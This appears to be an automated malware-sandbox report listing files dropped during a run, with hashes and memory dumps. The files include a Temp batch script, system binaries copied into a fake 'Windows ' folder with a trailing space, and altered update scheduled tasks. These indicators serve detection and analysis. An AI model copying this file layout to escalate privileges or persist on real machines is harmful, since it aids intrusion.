                                                                                                                                        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        944B

                                                                                                                                        MD5

                                                                                                                                        29af8a435901d77d6c0a08e494fdd160

                                                                                                                                        SHA1

                                                                                                                                        00ee17be16d2fccd668977caab81546ddceffc5d

                                                                                                                                        SHA256

                                                                                                                                        8774b8e4d75d6815a0d211272e983b0094a7542d1df584f9fc880aa68283a98f

                                                                                                                                        SHA512

                                                                                                                                        7d3e78f5d6d73bbb37ec7ff5b97729a1e542ae6b86eb271516a02ec67eb012872337e57a418a3f7f1b1b8cfafc2bfb246f15b75eaf45ee36fc690d946d873c99

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        855B

                                                                                                                                        MD5

                                                                                                                                        c0f537f8410f5e02620612ed71aaba13

                                                                                                                                        SHA1

                                                                                                                                        f46b9dc039edcaf860fd90b9d6108f9620de81f5

                                                                                                                                        SHA256

                                                                                                                                        250922c95fb0e3675084bd557196d1330b6c59547220923aadd3bd79b428f669

                                                                                                                                        SHA512

                                                                                                                                        4ec619ce2159b44c13d8039adeafd93b224f78ac7f45e750cd743ace36ee224c7f232e8d354f9a007a98b7518632608341e810dba02c21273ab26188b7b07ee8

                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\SC.cmd

                                                                                                                                        Filesize

                                                                                                                                        376KB

                                                                                                                                        MD5

                                                                                                                                        121a69448e9f5eef0ba4c1229b471208

                                                                                                                                        SHA1

                                                                                                                                        90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0

                                                                                                                                        SHA256

                                                                                                                                        b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a

                                                                                                                                        SHA512

                                                                                                                                        c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d

                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ftiga100.taq.ps1

                                                                                                                                        Filesize

                                                                                                                                        60B

                                                                                                                                        MD5

                                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                        SHA1

                                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                        SHA256

                                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                        SHA512

                                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                      • C:\Windows \System32\ComputerDefaults.exe

                                                                                                                                        Filesize

                                                                                                                                        80KB

                                                                                                                                        MD5

                                                                                                                                        d25a9e160e3b74ef2242023726f15416

                                                                                                                                        SHA1

                                                                                                                                        27a9bb9d7628d442f9b5cf47711c906e3315755b

                                                                                                                                        SHA256

                                                                                                                                        7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c

                                                                                                                                        SHA512

                                                                                                                                        bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910

                                                                                                                                      • C:\Windows \System32\MLANG.dll

                                                                                                                                        Filesize

                                                                                                                                        122KB

                                                                                                                                        MD5

                                                                                                                                        0b62c554572e9d2dfc51b6367c34700f

                                                                                                                                        SHA1

                                                                                                                                        1a41693552101c650aeeffe9dc9f1c7f7553dd7b

                                                                                                                                        SHA256

                                                                                                                                        b05a80ef8ad197ee36620655100e1fd4111ec946a9f012970da4c61d8da43ded

                                                                                                                                        SHA512

                                                                                                                                        765e2f686a74804063b1face147a2dfd4cac85fb8273b5b0ccbd7606e46fce9865d5bbeeca40af31a8b584dc0bba1ebc0ff3fa8c1993da08a4b09cd15a394ce9

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                        SHA1

                                                                                                                                        98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                        SHA256

                                                                                                                                        ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                        SHA512

                                                                                                                                        c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        f313c5b4f95605026428425586317353

                                                                                                                                        SHA1

                                                                                                                                        06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                        SHA256

                                                                                                                                        129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                        SHA512

                                                                                                                                        b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                                        SHA1

                                                                                                                                        a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                                        SHA256

                                                                                                                                        98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                                        SHA512

                                                                                                                                        1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                        SHA1

                                                                                                                                        63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                        SHA256

                                                                                                                                        727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                        SHA512

                                                                                                                                        f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                        SHA1

                                                                                                                                        9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                        SHA256

                                                                                                                                        a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                        SHA512

                                                                                                                                        c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                      • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                        Filesize

                                                                                                                                        330B

                                                                                                                                        MD5

                                                                                                                                        71d781074b75e0d1f25e2b68fd51f65e

                                                                                                                                        SHA1

                                                                                                                                        ae425fd1ae4639ba1f76670f878e702a74b3deb0

                                                                                                                                        SHA256

                                                                                                                                        0b7c47b277f0d15bfe53c6bd041d277cdc04c464b11114017065df0933903702

                                                                                                                                        SHA512

                                                                                                                                        4fdab18070d62ebd91c284f6eb9dd7d013b18d4044b89772766a0e1d43b030aae2926a45c7846f0d2a1e57a4e1effa1bb83d20b8c5f4a256c4ba745cc5f4afef

                                                                                                                                      • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                        Filesize

                                                                                                                                        330B

                                                                                                                                        MD5

                                                                                                                                        dcfd6643f6469cbb5bbf7dda81a8c265

                                                                                                                                        SHA1

                                                                                                                                        b43b67bd1994d84da70892932ddaee13caad134a

                                                                                                                                        SHA256

                                                                                                                                        7c715874612d774ceb1a81db0716e5e34c722a50ff6044f1aeb1b81b5739dccc

                                                                                                                                        SHA512

                                                                                                                                        687d6fc63001ddd41bc561093c301e5f08f8aa8381fdcd82b84abd610d788a956b8c35e6034def83054ed7ebce307be9b047042f94377c3fe5bee80feb2be780

                                                                                                                                      • memory/392-155-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/1112-158-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/1288-159-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/1416-164-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/1500-160-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/1960-165-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/2108-157-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/2616-16-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        2.0MB

                                                                                                                                      • memory/2616-15-0x000001DB8ADA0000-0x000001DB8ADB0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/2616-14-0x000001DBA54B0000-0x000001DBA5526000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        472KB

                                                                                                                                      • memory/2616-13-0x000001DBA2F10000-0x000001DBA2F54000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        272KB

                                                                                                                                      • memory/2616-323-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2616-17-0x00007FFA360C0000-0x00007FFA3617E000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        760KB

                                                                                                                                      • memory/2616-18-0x000001DBA5220000-0x000001DBA5268000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        288KB

                                                                                                                                      • memory/2616-0-0x00007FFA190F3000-0x00007FFA190F5000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        8KB

                                                                                                                                      • memory/2616-12-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2616-11-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2616-1-0x000001DB8AD70000-0x000001DB8AD92000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                      • memory/3048-161-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/3308-29-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/3308-33-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/3308-30-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/3308-19-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/3364-154-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/3364-105-0x0000000002DA0000-0x0000000002DCA000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        168KB

                                                                                                                                      • memory/3408-162-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/3676-136-0x000001AC7AF50000-0x000001AC7AF5E000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        56KB

                                                                                                                                      • memory/3676-55-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        2.0MB

                                                                                                                                      • memory/3676-56-0x00007FFA360C0000-0x00007FFA3617E000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        760KB

                                                                                                                                      • memory/4296-163-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/4680-156-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB